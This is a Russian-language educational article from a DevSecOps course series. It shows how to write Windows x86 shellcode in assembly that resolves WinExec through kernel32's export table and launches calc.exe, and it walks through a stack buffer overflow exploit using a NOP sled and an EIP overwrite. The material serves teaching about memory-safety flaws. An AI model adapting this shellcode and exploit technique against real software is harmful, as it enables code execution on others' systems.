Безопасная разработка и уязвимости кода. Часть 2. Пишем shell-код
В этой статье мы продолжим рассматривать интересную тему эксплуатации уязвимостей кода. В первой части мы выявили наличие самой уязвимости и узнали, какой именно объем байт мы можем передать нашей уязвимой программе для эксплуатации уязвимости. Сейчас мы на время оставим нашу уязвимую программу и поговорим о написании shell-кода.
Только ассемблер — только хардкор!
Конечно, готовый шеллкод можно сгенерировать с помощью msfvenom — утилиты, входящей в состав Metasploit. Можно также попытаться найти готовые эксплоиты, но мы легких путей искать не будем, напишем шеллкод самостоятельно. В качестве нашего рабочего инструмента я буду использовать FASM.
В рамках данной статьи я не буду рассматривать принципы программирования на Ассемблере. Желающие могут нагуглить на просторах сети всю необходимую информацию. Однако, я кратко поясню некоторые особенности написания шеллкода. Основная особенность разработки заключается в том, что мы не можем просто так вызвать необходимые для его работы функции. То есть, если при написании обычной программы мы можем поместить нужные значения в стек и вызвать необходимую функцию ОС (классический вариант push-call или модный с макросами invoke), то шеллкод выполняется в адресном пространстве другой программы и адреса функций ОС нам необходимо вычислить именно в памяти этой программы. Для этого мы сначала находим адрес библиотеки Kernel32 (строки 39–46), затем адрес PE Signature (+0×3C), Export Table (+0×78) далее перемещаемся по таблице экспорта до тех пор, пока не находим таблицу с адресами функций ОС. Далее мы просто перемещаемся по этой таблице (строка 70 и далее) и ищем соответствие имени искомой функции (в нашем случае это Winexec) и имени функции, указанной в таблице.
Полученный таким образом адрес мы далее будем использовать для вызова нужной функции. Но перед этим нам необходимо передать функции нужные параметры. В случае с Winexec нам необходимо передать строку C:\Windows\System32\calc.exe, для того, чтобы наш шеллкод затем, в лучших традициях эксплуатации уязвимостей, запустил калькулятор.
Байты: плохие и очень плохие
Еще одно отличие нашего шеллкода от обычной программы заключается в том, что наш код в откомпилированном виде не должен содержать так называемых плохих байтов.
Классический пример плохого байта это 0×00. Нулевой байт в памяти означает завершение массива передаваемых данных. То есть, все байты, идущие после этого байта, будут отброшены. Мы будем передавать наш шеллкод как параметр, как делали в первой статье, в итоге, все что будет после нуля просто не будет передано в память и шеллкод не будет выполнен. В зависимости от методов передачи шеллкода уязвимому приложению возможны также другие плохие байты (0×10, 0×13 и другие). Наша задача избавиться от этих плохих байтов, заменив проблемные команды их аналогами, не содержащими данные байты. Для этого мы используемые манипуляции со стеком, представленные в строках 105–111.
Ну и еще одно отличие заключается в том, что мы храним все необходимые для работы нашего шеллкода данные в стеке, так как своего сегмента данных у нас очевидно тоже нет.
После компиляции в FASM приведенная ниже программа должна просто запустить калькулятор.
format PE console
use32
entry start
start:
push eax ; Save all registers
push ebx
push ecx
push edx
push esi
push edi
push ebp
; Establish a new stack frame
push ebp
mov ebp, esp
sub esp, 18h ; Allocate memory on stack for local variables
; push the function name on the stack
xor esi, esi
push esi ; null termination
push 63h
pushw 6578h
push 456e6957h
mov [ebp-4], esp ; var4 = "WinExec\x00"
; Find kernel32.dll base address
xor esi, esi ; esi = 0
mov ebx, [fs:30h + esi] ; written this way to avoid null bytes
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; ebx holds kernel32.dll base address
mov [ebp-8], ebx ; var8 = kernel32.dll base address
; Find WinExec address
mov eax, [ebx + 3Ch] ; RVA of PE signature
add eax, ebx ; Address of PE signature = base address + RVA of PE signature
mov eax, [eax + 78h] ; RVA of Export Table
add eax, ebx ; Address of Export Table
mov ecx, [eax + 24h] ; RVA of Ordinal Table
add ecx, ebx ; Address of Ordinal Table
mov [ebp-0Ch], ecx ; var12 = Address of Ordinal Table
mov edx,eax
add edx,1Fh
inc edx
mov edi, [edx] ; RVA of Name Pointer Table
add edi, ebx ; Address of Name Pointer Table
mov [ebp-10h], edi ; var16 = Address of Name Pointer Table
mov edx, [eax + 1Ch] ; RVA of Address Table
add edx, ebx ; Address of Address Table
mov [ebp-14h], edx ; var20 = Address of Address Table
mov edx, [eax + 14h] ; Number of exported functions
xor eax, eax ; counter = 0
.loop:
mov edi, [ebp-10h] ; Address of Name Pointer Table
mov esi, [ebp-4] ; "WinExec\x00"
xor ecx, ecx
cld
mov edi, [edi + eax*4]
add edi, ebx
add cx, 8
repe cmpsb
jz start.found
inc eax
cmp eax, edx
jb start.loop
add esp, 26h
jmp start.end
.found:
; the counter (eax) now holds the position of WinExec
mov ecx, [ebp-0Ch] ; ecx = var12 = Address of Ordinal Table
mov edx, [ebp-14h] ; edx = var20 = Address of Address Table
mov ax, [ecx + eax*2] ; ax = ordinal number = var12 + (counter * 2)
mov eax, [edx + eax*4] ; eax = RVA of function = var20 + (ordinal * 4)
add eax, ebx ; eax = address of WinExec =
; = kernel32.dll base address + RVA of WinExec
xor edx, edx
push edx
push 6578652eh
push 636c6163h
push 5c32336dh
push 65747379h
push 535c7377h
push 6f646e69h
push 575c3a43h
mov esi, esp ; esi -> "C:\Windows\System32\calc.exe"
push 10 ; window state SW_SHOWDEFAULT
push esi ; "C:\Windows\System32\calc.exe"
call eax ; WinExec
add esp, 46h ; clear the stack
.end:
pop ebp ; restore all registers and exit
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop eax
ret
Но это еще не все. Теперь открываем откомпилированный файл в hex-редакторе и смотрим где начинается сам полезный код после PE заголовка. Этот набор байт и есть наше шеллкод. Сохраним его в отдельном файле, например с расширением bin.
NOP-sled и адрес возврата
Теперь самое время вспомнить, чем закончилась предыдущая статья — мы узнали, что для переполнения нам необходимо передать более 644 байт. То есть в эти 644 байта мы должны положить наш шеллкод. Как видно, он без проблем умещается. Однако, шеллкод не стоит располагать в начале этого блока, лучше заполнить первую пару сотен байт значением 0×90. Это инструкция NOP, которая ничего не делает и именно за этим она нам и нужна.
Итак, давайте попробуем скормить наш новый блок из 644 байт на вход уязвимой программе и посмотрим, что окажется в регистре EIP. Если значение EIP заполнено байтами 0×90, значит нам необходимо уменьшить количество передаваемых байт. Если программа отрабатывает корректно и не останавливается на исключении, значит мы передали меньше байт и переполнение не происходит. Необходимо найти ровно тот объем, после которого происходит затирание EIP. Далее необходимо выяснить, по каким адресам в стеке хранятся переданный нами буфер. Для этого выбираем Карта памяти → Стек. Ищем наши 0×90.
Далее выбираем адрес одного из байтов 0×90, у меня это 0×0019e1c0. Теперь нам надо записать значение этого адреса в обратном порядке: 0xc0, 0xe1, 0×19. Заодно мы избавились от нулевого байта. Эти три байта добавляем в конец нашего шеллкода. Если мы все сделали правильно и в EIP скопировались ровно эти три байта, то его значение стало равно 0×0019e1c0 и мы успешно подменили адрес следующей выполняемой команды, в результате чего после переполнения буфера управление было передано нашему шеллкоду и мы успешно запустили калькулятор. В случае, если калькулятор не запустился, а отладчик снова остановился на исключении, посмотрите какое значение имеет регистр EIP, возможно надо просто добавит или убавить пару NOP, чтобы корректно подменить значение этого регистра.
Заключение
В этой статье мы посмотрели, как можно написать шеллкод и на практике проэксплуатировать уязвимость. Конечно, данный материал не является простым, однако разработчикам полезно знать к чему на практике может привести уязвимость переполнения буфера.
В следующей статье мы немного поговорим про уязвимости в программах под Линукс и посмотрим какие средства могут помочь нам защититься от таких ошибок в коде.
Материал подготовлен в рамках курса «Внедрение и работа в DevSecOps».